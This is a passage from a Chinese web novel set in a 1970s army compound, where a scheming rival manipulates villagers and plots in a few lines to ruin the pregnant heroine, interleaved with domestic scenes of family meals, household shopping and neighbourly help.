她凭啥就能生下霍战北的孩子?
而我,就是重生了,也只能在旁边看着。
直到现在,还是不能拿下霍战北的心?
夏千燕被嫉妒冲得全身冒火,快步走向院门,刚伸手想拉开,直接去隔壁院看看。
她家院门却被人从门缝里伸进一个东西,直接当着她的面,就在她眼皮子底下被拨开了门栓,门被推开一条缝,一个男人闪了进来。
“哎哟,吓死我了。”
李大山粗壮的身子才刚一挤进来,就被贴脸开大的夏千燕吓了一跳。
“你咋站在这门后,也不出个声,吓**了。”
李大山压低声音。
“你这是做啥?大白天的,你就强闯民宅,你这是犯罪,你知不知道?”
夏千燕这时候正一肚子火没地方发,直接一股脑倒在李大山身上了。
“嘘,你小声点。我来你家的事,不能让别人知道。”
李大山示意夏千燕小声,
“你也不想让人知道,你和我与菊花的关系吧?”
李大山从口袋里拿出一卷钱和粮票,
“这些你替我给菊花,你给她说,暂时她啥也别干,就在医院里养着,也不要出院,不要回家。等我把我家的事处理好,我再去医院接她。”
“李大山,你这算盘打的还怪精明的呢。把我当你家丫环使唤上了啊?”
夏千燕咬着牙,看向李大山的目光充满厌恶。
什么东西,敢跑到她面前指手划脚,指使她干活。
啊呸,也不撒泡尿照照,他有没有那么大一张脸。
“夏千燕,我劝你对我说话客气些。”
李大山这会子可不像以前那样怕被夏千燕拿捏了,
“我和菊花的事都过了明路了,你也拿捏不了我们两。我来找你,是要告诉你,你以后少对我和菊花再颐指气使的。以后咱们是合作关系,明白不?”
夏千燕都被这人气笑了。
咋得!
这两人不要脸的事,刚被人知道。
他就这么迫不及待地来找自己,这是觉得他没啥短处被自己拿捏着了。
反过来,想要来拿捏她吗?
“李大山,我劝你说话之前,先想一想,啥话能说,啥话不能说。要不然,某些人**的都不知道。”
“夏千燕,你敢。你要是敢对菊花和孩子不利,看我不收拾你。你不要觉得你是大地方来的,这可是老子的地盘,如今可不是你说的算的时候了。”
夏千燕并不害怕李大山的恶言恶语,
“你来,不会就是专门来吓唬我的吧?”
“没有,我来就是要你把这些东西送去医院,给菊花。告诉她不要出院,在里面等我,别着急。”
李大山看没能吓住夏千燕,语气缓和下来,
“咱也算不打不相识,以后你有啥事,我会帮你。你呢,就替我看着菊花和孩子。”
李大山想着此时他的处境,真是被媳妇和媳妇舅逼得紧,身边连个能帮他一把的人都没有。
想来想去,只有夏千燕。
所以他才偷溜进来。
他不想让别人发现,他和菊花与夏千燕有关系,毕竟他可不像菊花那么单纯。
这个夏千燕就是个**,别看表面一副柔弱样儿,其实骨子里又坏又骚又恶毒。
只不过,此时,只有这样的人,才能帮得了菊花。
“我今天上午去看了李菊花——”
夏千燕看到李大山一听她说这话,立马变了脸色,
“菊花她咋样了,你说说——”
“看不出来,你对李菊花倒还挺深情的。”
夏千燕冷哼一声,讲起了她今天见到李菊花的情况。
——回忆——
今天上午,夏千燕去看了李菊花。
李菊花一见到她就哭,
“你一定要帮我。”
她像惊弓之鸟一样望病房外看了一眼。
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今天早上张治国临走时,眼神里的鄙夷和恶毒,让她心惊肉跳了一上午。
“现在事情都明了,所有人都知道我肚子里揣的是个野种。”
李菊花鼻青脸肿,经过一夜,脸上像开了个颜料铺子,更难看了,
“我男人一定会打死我的。他这个人,你别看在外人面前挺老实,其实他在屋里毒着呢。”
李菊花把衣裳揭开,露出身上的淤青,
“你看,这都是昨天晚上,他在这屋里掐的我。我不敢回家了,他真会打死我。”
李菊花全身发抖。
自送她和孩子住院后,李大山都没来医院。
李菊花知道李大山回家后,他媳妇一定会和他闹,一时不能抽身来,也是正常。但她心里更没底了。
“求你了,你要**啥都行,你一定得帮我。你不帮我,我就只有死路一条了。”
“帮你可以。”
夏千燕一脸淡漠地看着李菊花,
“我有的是办法帮你。但你得听我的。”
“好好,我都听你的。你快说,你有啥办法帮我。能让我男人不打死我。”
李菊花扭捏了一下,
“最好也能保全我肚子里的孩子。”
夏千燕瞟了一眼李菊花的肚子,心里想,李菊花这货人是真蠢,但她的肚子还真争气。
这肚子几次都差一点流产,竟能坚持到现在,孩子都还没事。
真是个**,怀的贱种都皮实。
夏千燕上辈子没生育,她的内心深处无差别讨厌所有能怀孩子的女人。
“你这样做……”
夏千燕把法子一一说给李菊花听。
“啊,你要我——”
李菊花脸蹭一下涨红了,再加上鼻青脸肿,格外滑稽。
“这法子也太不要脸了吧,这,这,这我真做不来。”
夏千燕目光鄙夷地扫过她的肚子,
“不要脸的事你都做出来了,现在还和我说啥要不要脸。”
“这个,那个——”
李菊花一脸拉不出屎要憋死的样子。
“我的这个法子虽说不好听。但你自己想想,你是要脸还是要命?你不想过好日子了?”
“想过好日子,我也想穿新衣裳,吃白面馍馍。不挨打不受骂有男人疼。”
第56章 秦向阳的泪
李菊花哽咽了一下。
“那不就得了。你想过好日子就得听我的,照我说的做。”
夏千燕一脸正色,
“女人就得狠,然后不要脸,不要皮,不要命这种。就一定会有好日子过。”
夏千燕冷笑一声,
“你别说想穿新衣裳,吃白面馍,就是顿顿吃肉也能做到。你可别忘了,咱是女人,女人不坏,男人不爱。女人只要足够坏,就有花不完的钱。”
“好,我都听你的。我也要顿顿吃肉。”
李菊花像被打了鸡血,一说到吃肉,她立马又想到苏圆圆吃的猪肉白菜馅饺子,
“等我有钱了,我顿顿吃饺子,吃猪肉白菜馅的。哦,不,不,我吃纯猪肉馅的,肥的,全包最肥的。我一顿吃三十八个。”
夏千燕心里鄙夷,这个李菊花,不但蠢还馋,要是能让她敞开了吃,她保准吃得比苏圆圆还猪。
“夏姑娘,你说,你让我咋帮你?”
夏千燕心里鄙夷李菊花,这货真现实,有事夏姑娘,无事夏千燕。
夏千燕看着李菊花的肚子,
“你说,如果苏圆圆的孩子没了呢?”
“唉,苏圆圆肚子里揣了个野种,全大院人都知道。她肚子里野种没了,说不定霍团长更高兴。”
真是个蠢货,夏千燕在心里暗骂李菊花,直到现在,这个蠢货还不知道苏圆圆肚子里的孩子是霍战北的。
不过这样更好,就让李菊花这个蠢货继续在大院里宣传,苏圆圆肚子里怀的是野种。
“你说的对,苏圆圆的肚子掉不掉,霍家可能不在意。可是,要是她掉的法子不太好,你觉得霍团长还会不在意吗?”
“掉的法子不太好?”
李菊花猪脑子灵光一闪,
“对,如果苏圆圆被人那个了,然后孩子没了。霍团长一定会不要她的。”
“嗯,你很聪明。”
被夏千燕一夸,李菊花更兴奋了,
“最好是被几个人……那样子被大家看到了,我就不相信,霍团长能一点脸不要,还会娶这样的媳妇?”
“你脑子终于够使一回。就这样,这事就交给你了。要是你再办差了——”
夏千燕不说话了,一脸阴沉。
李菊花赶紧说,
“一定办好,我办事你放心。这回保准不会出错。我去找大山,让他花钱雇几个生脸子,就是到时候出事,也找不到咱大院里人身上。”
夏千燕说起见到李菊花的情况,她才不会说,她给李菊花做了啥交易。
夏千燕只说了,她提了东西去看李菊花,李菊花扒着她,哭得那叫一个悲惨,身上被张治国掐的青一块紫一块。
夏千燕重点提了李菊花身上的伤,和李菊花一直哭着说,张治国早晚会打死她,弄死她肚子里的孩子。
李大山脸色阴沉下来,
“**张治国,我早晚弄死他。”
李大山又交代了几遍,要夏千燕如何去安排李菊花。
最后,想了想,终是不放心李菊花身上的伤和肚子里的孩子。
把钱和票又拿了回来,
“不要你弄了,我晚上去看她。”
“那你可得小心点,别让有心人看到了,再传到她男人耳朵里,她男人更得打死她。”
“我又不傻。”
李大山临走前,又交代夏千燕,
“反正这几天,你多去医院跑几趟,菊花有啥事,你及时通知我。放心,只要我家菊花和孩子没事,我不会亏了你。”
说完,李大山转身走了。
夏千燕看着李大山的身影消失在视线里,脸上的笑消失,朝地上吐了一口唾沫。
呸,狗一样的人,还敢到她面前来叫。看她几句话,还不是就把他给直接哄到李菊花面前了。
只要今天,李菊花见到了李大山,一定会让李大山帮她找人,到时候事情一出来,她倒要看看,霍战北还会娶苏圆圆吗?
坏了名声的儿媳妇,温**还会要她进霍家的门吗?
他怎么这么快就来了?
看着越走越近的大胖子,夏千燕下意识朝旁边霍家院门看了一眼,院门紧关着。
“你看看你,身上穿这么单薄,咋站在门口等我?快进去。”
秦向阳提着大包小包,紧跑几步,喘着粗气站在了夏千燕面前,
”燕子,你有啥事要我帮吗?刚才那人背影看着有点熟?“
秦向阳往远处看了一眼。
夏千燕注意到,他看向的地方,正是李大山离去的方向,心头不由一紧,难道秦向阳看到了李大山?
”怎么看着背影,有点像我们供销社司机李大山?“
夏千燕脸色一僵,很快恢复正常,
”你眼神可真好,就是他,我来的时候,在火车站就是让他帮我拉的行李。东西落他车上了,他给我送来了。“
秦向阳笑了,
”燕子,以后你想要啥,直接给我说,我全都给你买。要用车,也给我说,我借我爸医院的车,带你出去玩。“
秦向阳把手里的东西往上提了提,
“燕子,看我给你带了好东西。”
燕子?
夏千燕眉头一皱。
她的首要攻略目标可是霍战北,不能让人看到她和别的男人拉拉扯扯。
但,现在她又必须勾着这个秦向阳。要不要给这傻胖子定个界线?
正犹豫间,秦向阳一头汗地凑近她小声说,
“燕子,我妈给你找好了,护士。”
一瞬间,夏千燕脸上笑容灿烂,深知此时得给秦向阳点甜头才行。
想到这,夏千燕伸手关上了门,
“向阳哥,你小点声,人家是个独居姑娘,怕被人看见……”
后面的话,她没说,转身就往堂屋走,小腰一步一扭,长辫子就在肩头甩啊甩,每一下都像甩到了秦向阳的心尖上,他整个人都要化掉了。
赶紧提着
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大包小包,紧走几步,跟上夏千燕,两人进了屋。
“燕子,你看这是我给你拿的。”
秦向阳一进堂屋,放下东西,就在大包小包里翻着给夏千燕看,
“看,这是涤纶棉的确良,这块红色的,是我们供销社**的,我从车上给截下来给你的。”
“这是友谊牌雪花膏,是我给我妈从海市买的,我没给我妈,给你拿来了。”
“这是手电筒,你一个姑娘家单住,晚上要是有啥动静,你害怕,就拿这手电筒照照。”
“还有这你最喜欢的大白兔奶糖。”
秦向阳一头汗,剥开一颗大白兔奶糖往前走一步,就往夏千燕嘴里塞。
脚下东西多,一个趔趄,上半身往前猛一冲,整张大胖脸直接贴到了夏千燕脸上,一只大胖手揽住了夏千燕的小细腰。
两个人瞬间来了个身体亲密接触。
夏千燕几乎要呕出来,秦向阳手忙脚乱,迅速放手后退一步。
当他看向夏千燕的时候,夏千燕已经迅速整理好了脸上的表情,
“向阳哥,看你——”
拖着细细的尾音,夏千燕白嫩小手指点在了秦向阳脖子上。
指尖的温度划过喉结,引得秦向阳双眼迷离。
“燕子——”
秦向阳痴迷地看着一脸娇羞的夏千燕,
“燕子,好燕子,哥的命都给你。”
“向阳哥,你知道人家爸妈都在海市,人家一个人在这里住很害怕,那些个人再说长道短的,我——”
夏千燕的眼里泛出泪光,看的秦向阳心都要碎了。
“我知道,燕子,哥啥都知道。哥会让我妈找人来提亲。姑娘家名声最重要,哥不是那样的混人。”
夏千燕心里一震,坏了,她这怕不是用力过猛了吧。
赶紧收了泪,声音里的粘腻去掉了,连人家都不说了,直接换成我了。
“向阳哥,我不是那个意思,我爸那边可能出了点事。我怕连累了你。咱现在最好是私下先处着,等我爸那边安全了,到时候,你再让你妈来提亲。”
“燕子,你真是太善良了。”
秦向阳的心软得一塌糊涂。
从热闹的海市到荒凉的军区,从青涩少年到肥胖青年,他内心深处始终只有一个人,那就是夏千燕。
这些年,不管他妈给他找了多少姑娘,他都不愿意和人家处对象。
暗恋多年,女神终于站在他面前,秦向阳觉得他此时是被上帝最眷顾的幸运儿。
不管夏家出了啥事,他爱的就只是夏千燕这个美丽善良的姑娘。
何况,现在这个姑娘不但接受了他,还处处为他着想。
他岂能不感动。
一个大男人,突然之间就撑不住,泪水夺眶而出。
“你看,我真没用。”
他伸手去擦自己的眼泪,可那眼泪就像积了几年,绝堤的河水,怎么堵也堵不住,怎么擦也擦不净。
第57章 郑大娘做的饭真香
等秦向阳情绪稳定了,夏千燕捏着辫子,含情看了一眼秦向阳,
“向阳哥,你能答应我一件事吗?”
“燕子,你说,啥事哥都答应你。”
“我刚才和你说了,咱两的事,现在还不能让别人知道。以后在外面,你能不能?”
“能,只要燕子你安心,我啥都行。”
秦向阳挠挠头,眼睛看到夏千燕的唇,额头又冒出汗来,刚才他和燕子脸贴脸,就差那么一点,他就能亲上……
秦向阳烦燥地挠头,在心里暗骂自己,脑子里咋能想这些废料呢。这也太亵渎他的女神了。
“对,都听你的。在外面以后我还是你同学,咱两以后偷偷处对象,别让人看见。嗯,嗯,我会注意的,我以后来的时候,我就趁中午大家休息,或者晚上来。”
秦向阳说完这些话,又觉得他这话说的似乎有点太那个了,又挠上头了。
“这样也不好,万一被人看到,说我作风不好,那我以后在医院咋工作啊?到时候,影响你不说,说不定还要影响你爸妈的名声。”
夏千燕心里暗骂秦向阳个猪,少脑子的货。
“燕子,那你说咋办就咋办,我都听你的。你放心,在我们家,我爸听我妈的,我妈听我的,不管是处对象,还是结婚,我都不会让你受一点委屈的。”
秦向阳拍着肥厚的胸脯保证。
“嗯,你说你妈都听你的。这我倒有个好主意。”
“我就知道,燕子你最聪明善良,啥事都难不倒你。”
秦向阳笑得一脸幸福。
“你让你妈给我找工作,你对你妈说我是你对象了吗?”
夏千燕试探着。
“没有,燕子,你没有答应之前,我咋会乱说话。我就对我妈说,我中学同学来这里,想进医院当个护士。”
“你说我是你同学,你妈就这么使劲,给我找好工作了?”
夏千燕心想,是你傻,我又不傻!
秦向阳挠头嘿嘿笑了,
“我说你上学的时候,在学校经常被人欺负,都是你一直护着我,对我好。现在你来了有困难,我也得护着你,回报你。”
秦向阳眼神热烈地盯着夏千燕,他才不会给他妈乱说一句燕子的事,他宁愿自黑也不会让别人说燕子一个不好。
“那我这个主意,就可行。”
听着夏千燕的主意,秦向阳嘴越张越大,
“你要认我妈当干娘?那以后我们——”
“我先认你妈当干娘,你就是**哥,这样你想啥时候来我家,都不会有人说啥。再说了,这只是掩人耳目的过渡,以后……”
秦向阳点头,
“我就说嘛,还是燕子你最聪明了。”
秦向阳一心只想着,以后他就可以想啥时候来看夏千燕,就啥时候来。
再说了,燕子说的也对,这干哥干妈一家亲,早晚结成亲,也是很正常的,别人知道了也不会多说啥。
“要不然,你名不顺言不顺,见天往我这屋里钻,外人怎么说你,又怎么说我?”
夏千燕捏着辫梢,低下头,眉儿上挑,瞟一眼秦向阳,
“我可不想被人说成狐狸精。”
狐狸精?
秦向阳看看夏千燕俏脸含情,又看看夏千燕细腰转动,心里的火哗一下又烧起来。
这时候,别说夏千燕让他回家,说服他妈收了她当干妹妹,就是要了他的命,砍了他的头,他也心甘情愿。
真真应了那句:妹妹让哥嗦一口,哥哥送妹一条命。
不说夏千燕那边勾心斗角,只说院这边,苏圆圆家堂屋一片热闹。
“郑大娘你快坐下,一起吃。”
苏圆圆看到郑好娘把手里的菜摆放到桌上,转身就要出去,立马招呼郑好娘两坐下一起吃饭。
腊肉炒干豆角,干菜炖粉条,波菜鸡蛋汤。还有一锅红薯片米稀饭。
苏圆圆和温**婆媳两不由对视一眼。
她们刚才进堂屋,温**和儿子儿媳说她回家的事。
郑好带着她娘去西屋安顿。没想到,这才一会功夫,郑好娘竟然做好了两菜一汤。
温**看着桌上的饭菜,冲着苏圆圆一脸求表扬的表情:看吧,我找的人多利索。
“这?哪弄的新鲜菠菜啊?”
苏圆圆虽说才来七十年代几天,但她也知道,这时候物资特别紧张,就是军区供销社也很少有腊肉卖,尤其是鲜菠菜。
“嫂子,菠菜和鸡蛋都是张红英家给的,腊肉干菜是我娘从老家带来的。”
郑好一脸孺慕地站在他娘身边。
“我们乡下人
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穷家破院的,也没有啥好东西。腊肉是过年存下的,干菜是我自家菜地里长的,我晒干带来的。红薯片是小菜地里种了两垄,我挖了切片晒干。”
郑好娘有些局促地搓着手,
“都是自家弄的,我都弄干净了。他霍大娘心好,能让我住在这里,我真是不知说啥。”
“农家自己弄的,才是真正的好东西。”
温**知道刚才夏千燕的事,应该是伤了郑好娘的心了。
“妈说的对,我在家时,我就爱吃我奶我妈弄的干菜腊肉。”
苏圆圆端起她面前的粥碗,喝了一口,
“嗯,红薯片真糯真软,郑大娘做的饭真香,真好吃。”
郑好娘眼睛有些泪光,她知道,霍团长家的这是在宽她的心呢。
“他爹生病了,老家看不好。娃打电报让我们来这边看。我们只怕给娃添麻烦。你们霍家真是我们郑家的恩人,霍团长把我家娃带在身边,这会子他霍大娘又让我住进来,还一个月给我我十块钱。我真是——。”
“老嫂子,看你说的这是啥话。郑好是战北身边的兵,这些年多亏这孩子心细照顾战北。你如今又能留在我家帮我照顾我儿媳妇。我真是要谢谢你呢。”
“哎哟,那可不是,我们乡下人哪当得起。”
哈哈,
苏圆圆原来还以为郑好娘做饭,做的腊肉干菜是苏家寄来的那些,没想到,郑好妈也带了这些来。
看着这两妈,互相一个劲谢对方,不由乐了,
“妈,郑大娘你们两个也别客气,谢来谢去的了。我们能聚一起是缘分。大家都是一家人,都不必客气。”
苏圆圆又看向外面,
“咱这三间屋,我们住了一间,另一间过几天两家还得来人。郑大娘你就安心住西边小边屋,就是小点,明天我正好去买东西布置家,就给你那屋再添上手底下用的家具。”
“哎哟,霍团长家的,你真是心太善了。我原说让我在厨房放张席子睡一下就行。哪好用单间。”
郑好娘一想到娃他爹的病,医生说最少也得治个三四个月,才能回家。
郑好住的是集体宿舍,一屋子男人,自然不能带他娘回去住。
娃他爹住的病房一屋五六个病人,也住不了病人家属。
第58章 你想买啥就买啥
郑好是义务兵,津贴每月只有八块钱。
娃他爹这一场病,医生说手术加康复,三四个月最少也得二百多块。
家里东西和猪崽都卖完了,加上亲戚邻居借的,也就只有83块钱。
今天办了住院,手术安排在三天后做,医生说手术加用药住院费等,83块钱就只够十天左右的费用。
郑好每月会寄家里五块钱,自己身上只搁三块钱,没存着钱。
想想这以后的花销,两人的吃饭,再加上她住哪,这些事,愁死郑好娘了。
幸好,今天温**要回京市,让郑好帮她找个能做饭洗衣收拾家的妇女,郑好娘就在旁边,忙对温**表示,她能做。
郑好娘本来想着,她做这些活,只要主家愿意给口饭吃,给她个地方住就行。
没想到,温**不但许她在家里吃住,还给她每月十块钱工钱。
“郑大娘,你别叫我霍团长家的,都叫外气了。以后你就叫我圆圆就行了。”
“是的,老嫂子,这都是孩子们,以后一个院得住几个月,你这样叫显生份了。听圆圆的,就叫名。”
温**立马赞同,顺口又加了一句,
“老嫂子,你以后也别叫我霍大娘,都是一家人,你直接叫我**就行了。”
郑好娘看着儿子。
“娘,你就听团长娘和嫂子的吧。”
郑好看着他娘,那目光黏糊地像看不够一样。
“好,好,都听你们的。圆圆,**妹子。”
哈哈,大家开心笑了。都坐下吃饭。
吃过饭,霍战北让郑好送他娘先去医院看他爹,然后再去火车站买票。
“妈,你说奶奶晚上总咳喘,这是我爷爷送来的药材,这几味搭配一起,我给你包好,你每天给奶奶煎,每晚一服,先吃着,等我再打电话给家里,根据你说奶奶的情况,让我爷爷再配药来。”
“这是我爷爷寄的人参切片,嘿嘿,是野生的,我哥进山偷挖的,妈你带回去,给我爷用上。还有这……”
苏圆圆把她家寄来的东西,扒拉了个遍,能用到的各样都拿出来一部分给温**。
都包好,最后把一个小包裹塞到温**行李里,贴近婆婆小声说,
“这是咱女人用的好药,三天一服,温血养颜,会让妈越来越年轻,越来越白嫩。”
苏圆圆更小声地说,
“妈脸上的这两块小斑一个月就能消失。”
“你这孩子。”
天底下没有哪个女人能抵抗得了变美变年轻的诱惑。
尤其是夫妻恩爱的温**,想着自己能更好看地出现在战北爸面前,温**乐了。
“那边有事,妈回去了。你可千万不要干活,不要生气,有啥事打电话给妈说,妈打电话骂战北。”
哈哈哈,苏圆圆乐了,她这个婆婆,哪哪都处在她的梦想上。
“圆圆,你等着,妈把那这事弄好,带你爸,爷奶一起来参加你的婚礼。到时候,妈给你弄你喜欢的所有好东西。”
哎哟哟,苏圆圆更乐了。
她这个婆婆简直是世间最好的婆婆——行走的钱罐子啊!
嘿嘿,快活了。
男人好,婆婆好,快活了,人生真是太快活了。
苏圆圆看着自己胖乎乎的身子和挺起的肚子。
想着,等她生下孩子,她也减一点肥,穿最美的衣裳,嘿嘿,到时候,看她不闪瞎霍战北的眼。
要知道,姐不丑,姐这只是被一身肥肉封印了美!
霍战北并不知道,他的小胖媳妇想着要减肥呢。
要是知道,他一定会说:媳妇,你别减,我就喜欢你这身香香软软的肉。
他在军营里天天和一群硬汉子混在一起,年年满眼看的都是黑乎乎,比铁还硬的肌肉。
他就赶稀罕他小胖媳妇这身又白又香又软的胖肉肉。
下午三点,郑好送了温**去火车站坐车了。
郑好娘还在医院看郑好爹,屋里只有苏圆圆和霍战北两个人。
苏圆圆说,霍战北坐在轮椅上写单子。
“咱住东屋大头间,床咱得买个大的,实木的,屋里原来这张床太小,留给郑大娘睡。”
这几天,苏圆圆算是把这个刚建的小家里的东西,摸了一遍。
正屋是三间,东边是大头间,带个朝南大窗户,西边是个小单间。
三间屋里只有东屋一张部队统一配发的单人木板床,原来放着折叠整齐的军用被子。
一木头椅,一木头长条桌,桌上放着霍战北的一些书等,墙上挂一张地图。
靠墙一个简易衣柜,里面挂着霍战北的团级军装,旁边格子上摆放着叠成方块状的衬衣和裤子。
军大衣、军帽、腰带等都摆放整齐。
桌下一个搪瓷暖瓶,桌上一个带盖搪瓷缸子。上面印着八一建军节纪念
这哪里是家,这分明是团长单身宿舍。
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堂屋原来更简单,一个木头盆架子,上面放着一个搪瓷洗脸盆,旁边墙上挂一块镜子。
厨房和西屋更是啥也没有。
她来之后,霍战北让郑好布置,才新添了堂屋一个长桌放东西,一个小方桌吃饭还有四个小板凳。
其他添的东西都是些急用的零碎。
苏圆圆看着她家送来的那堆东西,虽然被她整理了一些放长桌上,还有许多依然放在堂屋地上。
原主原来在苏家,一直被苏家人伺候着,直到怀了肚子五个多月,才瞒着一家人,缠着她爸,给她写了介绍信,偷偷跑来部队找霍战北。
来的时候太匆忙,又是偷来的,只带了一个小包裹。
这一次,苏家人给她寄了许多东西,里面就有原主在家里穿的衣裳,用的东西等。
甚至连原主在家里常用的枕头也寄了来,还说就是东西太多,被子太大,要不然,得给闺女寄两床新被子。
“屋里要添的东西好多,还有厨房里的,啥都得买。还有再过几个月,孩子出生了,孩子的东西还得准备很多……”
看着小媳妇掰着小胖手指,在那里数着要买的东西,样样都是过日子的。
霍战北心里一阵温暖,他有媳妇了,有孩子了,有家了!
“都听你的,钱都在你那,你想买啥就买啥。”
“反正缺的东西太多了,一会我找人和我一起,先去供销社看看,把过日子急需要的东西先买来。总不能咱天天去人家张政委家借锅借油借柴吧。”
说起来,多不好意思,今天中午郑好娘做的那顿饭,还是郑好带着她娘,去隔壁张政委家厨房做的。
“你不会洗衣裳,不会做饭,我原想着,先让郑好去食堂买。等我腿好,我弄好厨房,我给你做。“
哎哟,真是居家好男人啊!
苏圆圆乐了,看看,她穿了个书,真是捡到一个超级好男人啊。
”看看,这是谁的超级好男人啊,原来是我的啊!“
苏圆圆从来都不吝啬赞美和奖励,转身扶着轮椅把手,朝着霍战北仰上去。
啵,在他唇上亲了一下。
”我的娘唉,我啥也没看见!“
一个熟悉的声音突然响起。
苏圆圆转头一看,哦,站在堂屋门口的高大粗壮的中年妇女,不是张秋月,是谁?
”那个,你们院门没锁,我一推就进来了,没想到……“
张秋月嘿嘿。
第59章 三人去供销社
“我走了,你在家等我回来,买了菜回来给你做好吃的。”
苏圆圆拍拍霍战北的手臂,转身拉着张秋月就走,那背影看着有一点落荒而逃的感觉。
霍战北望着洒满阳光安静的院落,唇边不由浮起一抹笑。
嗯,回来给他做饭吃?
苏班副不是说他的小胖媳妇不会做饭、不会洗衣、不会干家务吗?
“呀,秋月嫂子,你真是我肚子里的蛔虫!”
一出院门,苏圆圆一眼就看到了停在门口墙边的一辆二八大杠自行车。
她稀罕的不是自行车,而是自行车后座,一边一个,架了两个大柳筐子。
她正愁,她要去供销社买的杂七杂八的生活用品多,家里连个装东西的篮子都没有。
“这两天,你们家除了小郑去大食堂打饭,就是你婆婆到隔壁借张政委家的厨房做饭。”
张秋月笑得爽朗,
“你既然找了我陪你去采买东西,我当然得帮你驮回来了。”
张秋月凑近苏圆圆,
“你们结婚,你们家霍团长没给你买三大件吗?”
张秋月心里一直有这个疑问,刚才进院没看见自行车,探头看屋里,也没看到缝纫机。
“没有,我们在乡下我老家结的婚,他啥也没给我买。我爹娘给我的陪嫁都还在老家。”
“你婆婆这两天不也来了吗?她就没给你说啥?”
张秋月性格耿直豪爽,既然把苏圆圆当自家妹子看,就不能不为苏圆圆着想。
“我婆婆给我钱和粮票了。”
苏圆圆又加了一句,
“我男人把他的钱和票也都给我了。”
啧啧,
张秋月看着苏圆圆一脸欣慰,
“对头,这样才对嘛,女人持家又旺又发,这男人嘛,腰里不能让他有大钱,尤其是你们家霍团长,长得又好看,要是再有钱在腰里。”
说到这里,
张秋月又凑近了一些,
“哎,妹子,人都说你家霍团长绝嗣,你都怀了他的崽了。这绝嗣的毛病应该好了吧?那个,这毛病影响不影响你的幸福生活啊?”
张秋月看看四周,声音更压低了,
“我娘家庄上有个婆子,专门给配药,能让男人……”
“秋月嫂子,你看看你这张嘴。”
苏圆圆笑了,捶了张秋月一下,
“我男人病好了,我爷爷是老中医,给他抓了药寄过来了,我天天给他煎了喝着呢。”
说到这里,苏圆圆上下打量了张秋月全身。
从她认识张秋月到现在,苏圆圆发现,张秋月虽然长得粗壮高大,但她穿着打扮特别女人,而且眉梢眼角都透着幸福。
不用想,她男人一定对她特别好。
“我那里还有我爷爷寄来的药,要不,我也给你拿两副,你煎了给你男人喝,保管——”
她没说完,张秋月就用屁股挤了她一下,
“我是真关心你,你倒过来调笑我。”
两人说笑着,往前走了一段路。
拐个弯,苏圆圆看到站在路边提着个篮子,等她们的刘招娣。
“我叫了招娣,她知道个买东西的好地方。”
张秋月给了苏圆圆一个你懂得的眼神。
苏圆圆心里猛地一跳,不会是她想的那样,所有年代文里标配的黑市吧?
再看一眼低眉顺眼的刘招娣,苏圆圆又打消了刚才的想法,要说去黑市交易,张秋月她信,刘招娣这样胆小怕事的性子,怎么可能会去那样的地方,恐怕吓都要吓**。
“咱这军区里的人买东西有三个去处,最近最方便的就是咱军区里面的军人服务社,那天我们一起去洗澡,你看见的。东西品类不多,贵。但好处是专供咱军队家属,不要排队和人抢。”
张秋月推着自行车,一边走,一边给苏圆圆介绍,
“第二个就是咱军区旁边的这个镇子,镇子叫东红镇,镇上有个东红供销社。这是东红镇和咱部队联营的供销社。东西品类多,除了上面供销社调拨的物资,还有采购员在附近村镇采购到的老百姓自种的瓜果粮菜。”
苏圆圆点头,她听明白了。东红镇既然是部队与地方联营,里面东西自然便宜,不然老百姓买不起。
“本地老母鸡,鸡蛋,手编筐等,还有当地农民互助组的手工制品,这些经常会有,东西新鲜又不贵。”
张秋月又加了一句,
“尤其是青菜,大多是当天从村上采购来的
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,新鲜的很。像这五月季节,槐花和荠菜也是有的。”
“听你这么一说,东红供销社是不是会有新鲜的猪肉?”
张秋月点头,
“不但会有新鲜猪肉,有时候甚至会有羊肉、野兔、野鸡等。都是当地村民在山上打的,东西不多,公家也不会收,他们私人就卖给采购员挣几个家用。”
苏圆圆连连点头,这可是1976年,还要再等两年,到1978年改革开放,才会分单干,私人做生意。
荠菜猪肉饺子,红烧肉,野鸡汤,麻辣兔丁……
这些菜,苏圆圆一想想就流口水。
原身作为苏家的娇闺女不会做饭,可是她会啊!
在现代社会,她除了是个劳碌医生,她其实还有一个别人都不知道的副业。
那就是网络美食博主。
上班太苦,尤其是全年无休,每天几台手术的外科医生更苦。
所以她的同事们下班后,都会有个发泄的地方,比如去旅游、打牌……
她不是,她是下班就宅在她租的那套一楼带院家里,除了种菜养花撸猫,就是做饭拍无脸视频上传。
她做一人餐,做家常菜,拍下班一人一猫一花一世界的幸福宅家生活。
种菜做饭,是她打小就跟在她奶奶身边学的。
本想着,等她挣到足够的钱,买套房子,再把乡下的奶奶接来。
没想到,钱没挣够,房子没买,她就加班累死,穿到这本年代文里了。
说起这事,苏圆圆其实内心挺后悔的。
医院缺了谁都照转,虽然渣爹还算照顾奶奶,但奶奶没有了她,下面的事,她真是不敢多想。
唉,又是想奶奶的一天。
“秋月嫂子说,你新家啥都缺。要买的东西多,等晚上天黑,我带你去那个地方。那里有更便宜的粮食、肉蛋。”
啊?
苏圆圆刚才还沉浸在想奶奶的悲伤中,刘招娣这柔柔弱弱的一句话,直接把她魂给拉回来了。
“黑市?真有黑市?你去——”
苏圆圆意识到自己说了啥,赶紧捂住嘴,左右看看,没人。
她不敢相信地盯着刘招娣。
瘦弱怯懦的一个人,居然有胆去黑市。
第60章 王小军烂裤裆
张秋月给了苏圆圆一个眼神,小声说,
“招娣去那里偷卖些手工活,她那个男人指不上,她闺女春桃打小就有毛病。她只能做些手工偷偷去卖,弄几个活动钱,给孩子治病。”
苏圆圆这还是第一次听到刘招娣有孩子,居然还是个病孩子。
刘招娣黑瘦,头发梢黄焦,明显长年营养不良。
衣裳边角处打着小补丁,针角细密,甚至巧妙地补成花的形状。
一看就是个手巧的,针线活不错。
这样软弱胆小的人,居然被逼着去黑市卖东西,可见,这世上孩子真是所有母亲的铠甲。
“招娣嫂子,我不会针线活。到时候,我买了布和棉花,你帮我缝两床被子好不好?”
“你哪天要缝,让秋月嫂子去我家叫我就行。”
“我要缝的东西多,被子啊,窗帘啊等。到时候,你找时间都给我做了,我按市面上手工费给你。”
刘招娣一下子脸红了,
“都是一个院里的,帮个小忙,哪能要你的钱。”
“你可别说这话,我自己是真心不会,这些东西要是拿到裁缝铺,手工费贵不说,我也不放心。”
苏圆圆说,
“你要是不收手工费,那我不让你做了,我还是送人家铺子里做去,也不知会等多少天才能做好。你就忍心让我等?”
刘招娣还想说啥,被张秋月挡住了,
“招娣你就别推辞了,朋友归朋友,事归事。这样处着才长远。你帮圆圆妹子做活计,也得用你时间不是。何况收了工钱,你拿回家去做,你男人也不会找你的事。”
